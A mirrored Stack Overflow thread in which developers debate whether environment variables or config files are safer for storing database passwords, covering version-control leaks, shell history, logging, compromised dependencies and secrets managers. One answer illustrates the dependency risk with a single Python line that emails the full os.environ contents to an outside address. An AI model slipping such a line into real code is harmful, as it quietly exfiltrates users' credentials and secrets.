Is it secure to store passwords as environment variables (rather than as plain text) in config files?

Ruby on-RailsDjangoSecurityPasswordsEnvironment Variables

Ruby on-Rails Problem Overview


I work on a few apps in rails, django (and a little bit of php), and one of the things that I started doing in some of them is storing database and other passwords as environment variables rather than plain text in certain config files (or in settings.py, for django apps).

In discussing this with one of my collaborators, he suggested this is a poor practice - that perhaps this isn't as perfectly secure as it might at first seem.

So, I would like to know - is this a secure practice? Is it more secure to store passwords as plain text in these files (making sure, of course, not to leave these files in public repos or anything)?

Ruby on-Rails Solutions


Solution 1 - Ruby on-Rails

As mentioned before, both methods do not provide any layer of additional "security" once your system is compromised. I believe that one of the strongest reasons to favor environment variables is version control: I've seen way too many database configurations etc. being accidentially stored in the version control system like GIT for every other developer to see (and whoops! it happened to me as well ...).

Not storing your passwords in files makes it impossible for them to be stored in the version control system.

Solution 2 - Ruby on-Rails

On a more theoretical level, I tend to think about levels for security in the following ways (in order of increasing strength) :

  • No security. Plain text. Anyone that knows where to look, can access the data.
  • Security by Obfuscation. You store the data (plaintext) someplace tricky, like an environment variable, or in a file that is meant to look like a configuration file. An attacker will eventually figure out what's going on, or stumble across it.
  • Security provided by encryption that is trivial to break, (think caesar cipher!).
  • Security provided by encryption that can be broken with some effort.
  • Security provided by encryption that is impractical to break given current hardware.
  • The most secure system is one that nobody can use! :)

Environment variables are more secure than plaintext files, because they are volatile/disposable, not saved; i.e. if you set only a local environment variable, like "set pwd=whatever," and then run the script, with something that exits your command shell at the end of the script, then the variable no longer exists. Your case falls into the first two, which I'd say is fairly insecure. If you were going to do this, I wouldn't recommend deploying outside your immediate intranet/home network, and then only for testing purposes.

Solution 3 - Ruby on-Rails

Anytime you have to store a password, it is insecure. Period. There's no way to store an un-encrypted password securely. Now which of environment variables vs. config files is more "secure" is perhaps debatable. IMHO, if your system is compromised, it doesn't really matter where it's stored, a diligent hacker can track it down.

Solution 4 - Ruby on-Rails

Sorry I didn't have enough rep to comment, but I also wanted to add that if you're not careful, your shell might capture that password in it's command history as well. So running something like $ pwd=mypassword my_prog manually isn't as ephemeral as you might have hoped.

Solution 5 - Ruby on-Rails

I think when possible you should store your credentials in a gitignored file and not as environment variables.

One of the things to consider when storing credentials in ENV (environment) variables vs a file is that ENV variables can very easily be inspected by any library or dependency you use.

This can be done maliciously or not. For example a library author could email stack traces plus the ENV variables to themselves for debugging (not best practice, but it's possible to do).

If your credentials are in a file, then peaking into them is much harder.

Specifically, think about an npm in node. For an npm to look at your credentials if they are in the ENV is a simple matter of process.ENV. If on the other hand they are in a file, it's a lot more work.

Whether your credentials file is version controlled or not is a separate question. Not version controlling your credentials file exposes it to fewer people. There's no need for all devs to know the production credentials. Since this lives up to the principle of least privilege, I would suggest git ignoring your credentials file.

Solution 6 - Ruby on-Rails

It depends on your threat model.

Are you trying to prevent your users from sprinkling passwords all over their file systems where they are likely to be forgotten and mishandled? If so, then yes, because environmental variables are less persistent than files.

Are you trying to secure against something malicious that is directly targeting your program? If so, then no, because environment variables do not have the same level of access control that files do.

Personally, I think that negligent users are more common than motivated adversaries, so I'd go with the environment variable approach.

Solution 7 - Ruby on-Rails

Among others, an issue with using environment variables to store secrets is that they can be leaked unintentionally:

  • Messy code displaying raw error messages with context (env vars) to a user
  • Monitoring tool capturing the error and context and sending/storing it for future investigation
  • Developer logging environment variables which persists them to disk (and potentially to some log processing tool e.g. Logstash)
  • Compromised dependency sending all of the global variables it can reach, including env vars to the attacker
  • Setting the env variable leaving traces in the shell history

Potential issues with secrets stored in config files:

  • Misconfigured file permissions allowing access to a random OS user
  • Developer adding config files to version control
    • Intentionally (not knowing it's bad)
    • By accident. Even when the file is removed (during a PR review maybe), if not done properly, it may still live in the Git commit history.

Irrelevant to the way you store secrets, if your system is compromised you're screwed. Extracting those is just a matter of time and effort.

So what can we do to minimize the risks?

Don't store/pass around secrets in plain text. One way to approach the problem is to use an external (managed or self-hosted) secrets storage solution (e.g. AWS Parameter Store, Azure Vault, Hashicorp Vault) and fetch sensitive data at runtime (possibly caching in memory). This way your secrets are encrypted in transit and at rest.

Solution 8 - Ruby on-Rails

AFAICT, there are two reasons people recommend storing secrets in environment variables:

  1. It's too easy to inadvertently commit secret flat files to a repo. (And if it's a public repo, you're toast.)
  2. It prevents password clutter i.e., having the same key in many different project directory files is itself a security risk since developers will eventually lose track of where secrets are located.

These two issues can be solved in better ways. The former should be solved by a git commit hook that checks for things that look like passwords (e.g., gitleaks). I wish Linus built such a tool into the git library's source code but, alas, that didn't happen. (Needless to say, secret files should always be added to .gitignore, but you need a hook in case someone forgets to do so.)

The latter can be solved by having a global company secrets file, which is ideally stored on a read-only shared drive. So, in Python, you could have something like from company_secrets import *.

More importantly, as pointed out by others, it's way too easy to hack secrets stored in environment variables. For example, in Python, a library author could insert send_email(address="[email protected]", text=json.dumps(os.environ)) and then you're toast if you execute this code. Hacking is much more challenging if you have a file on your system called ~/secret_company_stuff/.my_very_secret_company_stuff.

Django users only:
Django (in DEBUG mode) shows the raw value of an environment variable in the browser if there is an exception (in DEBUG mode). This seems highly insecure if, for example, a developer accidentally sets DEBUG=True in production. In contrast, Django DOES obfuscate password settings variables by looking for the strings API, TOKEN, KEY, SECRET, PASS or SIGNATURE in the framework's settings.py file's variable names.

Attributions

All content for this solution is sourced from the original question on Stackoverflow.

The content on this page is licensed under the Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) license.

Content TypeOriginal AuthorOriginal Content on Stackoverflow
QuestionjayView Question on Stackoverflow
Solution 1 - Ruby on-RailsemrassView Answer on Stackoverflow
Solution 2 - Ruby on-RailsJohn CarterView Answer on Stackoverflow
Solution 3 - Ruby on-RailsChris PrattView Answer on Stackoverflow
Solution 4 - Ruby on-RailsbrianclementsView Answer on Stackoverflow
Solution 5 - Ruby on-RailsPeter AjtaiView Answer on Stackoverflow
Solution 6 - Ruby on-RailsMatrixManAtYrServiceView Answer on Stackoverflow
Solution 7 - Ruby on-RailsMax IvanovView Answer on Stackoverflow
Solution 8 - Ruby on-RailspandichefView Answer on Stackoverflow